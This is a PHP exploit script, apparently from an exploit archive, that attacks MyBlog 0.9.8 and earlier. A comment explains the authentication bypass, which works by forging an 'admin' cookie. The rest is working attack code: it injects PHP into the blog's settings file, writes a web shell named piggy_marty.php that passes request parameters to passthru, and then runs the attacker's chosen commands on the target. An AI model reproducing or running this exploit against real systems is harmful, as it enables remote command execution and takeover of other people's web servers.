myblog098-exec.txt

`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "  
MyBlog <= 0.9.8 Remote Command Execution Exploit  
by BlackHawk <[email protected]> <http://itablackhawk.altervista.org>  
Thanks to rgod for the php code and Marty for the Love  
  
";  
if ($argc<3) {  
echo "Usage: php ".$argv[0]." Host Path CMD  
Host: target server (ip/hostname)  
Path: path of myblog  
  
Example:  
php ".$argv[0]." localhost /myblog/ CMD";  
  
die;  
}  
/*  
The problem is in all admin files:  
  
if(isset($_COOKIE['admin'])) {  
$name = $_COOKIE['login'];   
}  
else {  
echo "Please Login";  
exit;  
}  
  
This easy to bypass function leads to a RCE because we can put PHP code in settings.inc,  
that is required in many pages..  
  
This exploit create a piggy_marty.php shell on the victim site  
  
*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";  
for ($i=3; $i<=$argc-1; $i++){  
$cmd.=" ".$argv[$i];  
}  
$cmd=urlencode($cmd);  
  
  
$port=80;  
$proxy="";  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "Step0 - See If piggy_marty.php already exists..\r\n";  
$packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=$cmd\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"666999"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("666999",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
  
echo "Step1 - Retrieving Configuration\r\n";  
$packet="GET ".$p."admin/settings.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: admin=BlackHawk\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
$temp=explode("<textarea name=\"content\" cols=\"80\" rows=\"20\">", $html);  
$config_file=explode("</textarea><br /><input type=\"submit\" /></form>", $temp[1]);  
$new_file = str_replace('?>', '  
$fp=fopen(\'piggy_marty.php\',\'w\');  
fputs($fp,\'<?php error_reporting(0);  
set_time_limit(0);  
if (get_magic_quotes_gpc()) {  
$_GET[cmd]=stripslashes($_GET[cmd]);  
}  
echo 666999;  
passthru($_GET[cmd]);  
echo 666999;  
?>\');  
fclose($fp);  
chmod(\'piggy_marty.php\',777);  
?>', $config_file[0]);  
  
echo "Step2 - Uploading New Data..\r\n";  
$data="content=".urlencode($new_file);  
$packet="POST ".$p."admin/settings.php HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";  
$packet.="Referer: http://".$host.$path."admin/settings.php\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: admin=BlackHawk\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
  
echo "Step3 - Executing Shell Maker\r\n";  
$packet="GET ".$p."index.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: \r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
sleep(3);  
echo "Step4 - Executing Shell..\r\n";  
$packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=$cmd\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"666999"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("666999",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
  
# Coded With BH Fast Generator v0.1  
?>  
  
`